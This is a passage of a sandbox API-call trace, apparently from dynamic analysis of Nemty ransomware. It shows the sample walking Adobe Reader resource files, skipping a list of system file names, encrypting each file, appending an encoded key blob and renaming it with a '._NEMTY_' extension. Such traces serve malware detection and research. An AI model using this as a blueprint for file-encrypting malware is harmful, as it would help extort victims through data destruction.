pszString="sSNYU4VSQ2xjGXXWJQLj2+RyzYYBsnBDJP3kiZjPqQeuk60YAGayJui0igKMXfZY\r\nYTqN65+J2K3V1PRZGrKE2csH4X3I8QDs0SDOyNsXmMjXkv07IsC/n5oOqxrTZsq7\r\nejQvOOtISOT8bjJ9yQH+Sdu17nPpvgoKdcVzE4ci/W5rXXkU23t3jyoY3Ub4oiT8\r\nI3PYvruZzFF4gBUC/8gK9CZnh+CTVGg9QtezSc3zsUyCtCP09rEvHBZ1rmBmj6Kw\r\nqThtqcXUvFsjWgV9sQBriexeDpnZRi3NZ/AHZEGEHetJ5yi37ufGnKjr7GVjnRur\r\nieDkbBjhISCkzbMEaUp4iQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.784] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=26562) returned 1 [0215.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x67c0) returned 0x6352c48 [0215.785] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.785] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x67c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x67c0, lpOverlapped=0x0) returned 1 [0215.788] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.788] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x67c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x67c0, lpOverlapped=0x0) returned 1 [0215.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.788] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=26562, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x67c2 [0215.788] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.789] CloseHandle (hObject=0x2e8) returned 1 [0215.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.789] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt._nemty_kgobjgd_")) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.790] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.hr.txt", cAlternateFileName="DI4B74~1.TXT")) returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2=".") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="..") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="...") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="windows") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="rsa") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="NTDETECT.COM") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="ntldr") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="MSDOS.SYS") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="IO.SYS") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="boot.ini") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="boot.ini") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="ntuser.dat") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="desktop.ini") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="CONFIG.SYS") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="RECYCLER") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="bootmgr") returned 1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="programdata") returned -1 [0215.790] lstrcmpiW (lpString1="DisplayLanguageNames.hr.txt", lpString2="appdata") returned 1 [0215.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr.txt", lpUsedDefaultChar=0x0) returned 27 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr.txt", lpUsedDefaultChar=0x0) returned 27 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr.txt", lpUsedDefaultChar=0x0) returned 27 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr.txt", lpUsedDefaultChar=0x0) returned 27 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.791] Sleep (dwMilliseconds=0x5) [0215.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34428fb0, dwHighDateTime=0x1d561e8)) [0215.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34428fb0, dwHighDateTime=0x1d561e8)) [0215.793] GetLastError () returned 0x0 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.793] GetLastError () returned 0x0 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.793] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.793] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="g0zisHAgrv2GHI1nBa9N1Pa/sA28LUcLJvC+AiivMn18O2HGGJ74seDQVpTWYk9J\r\n5867AKZK053+tcxrR3DPQ29UyeLc8gZ1OfAP4SK3Hwr5PCR4gjGUYadVRxiSIinC\r\nH3J1S8XPekdzaG0MNDNZMdMVBjdfJbT/a2PWlFiDvsrEXcfooBbtVOOOd+aG9fmZ\r\nyLvsBRkfx/QB1hOEu4vyv/054XFlxEADPfFOfTJDzVRDIpzOrHWtbwLMk49qFDNK\r\nEHXqUOFU8Z1y8HE0mkz/tmMZTXasn9h8NLqHN8S1zbsxmHW9nkv1w+b8zX1v1peS\r\nak4J0DTl6D/+XNCQMyaBwg==\r\n", pcchString=0x653e5dc) returned 1 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.794] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28200) returned 1 [0215.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e20) returned 0x6352c48 [0215.794] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.794] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e20, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e20, lpOverlapped=0x0) returned 1 [0215.797] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.797] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e20, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e20, lpOverlapped=0x0) returned 1 [0215.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.797] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e28 [0215.797] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.797] CloseHandle (hObject=0x2e8) returned 1 [0215.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.798] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt._nemty_kgobjgd_")) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.798] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.hr_HR.txt", cAlternateFileName="DI0D1D~1.TXT")) returned 1 [0215.798] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2=".") returned 1 [0215.798] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="..") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="...") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="windows") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="rsa") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="NTDETECT.COM") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="ntldr") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="MSDOS.SYS") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="IO.SYS") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="boot.ini") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="boot.ini") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="ntuser.dat") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="desktop.ini") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="CONFIG.SYS") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="RECYCLER") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="bootmgr") returned 1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="programdata") returned -1 [0215.799] lstrcmpiW (lpString1="DisplayLanguageNames.hr_HR.txt", lpString2="appdata") returned 1 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr_HR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr_HR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: 